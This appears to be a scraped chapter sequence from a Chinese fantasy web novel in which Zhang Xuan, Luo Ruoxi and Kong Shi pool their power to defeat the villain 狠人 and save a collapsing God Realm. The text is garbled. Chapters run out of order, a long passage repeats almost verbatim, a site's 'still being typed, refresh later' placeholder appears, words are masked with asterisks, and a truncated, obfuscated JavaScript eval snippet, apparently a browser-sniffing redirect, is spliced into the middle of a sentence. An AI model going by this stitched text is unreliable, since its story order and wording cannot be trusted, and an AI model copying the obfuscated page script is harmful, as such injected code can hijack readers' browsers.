抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第215章大胜回京 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 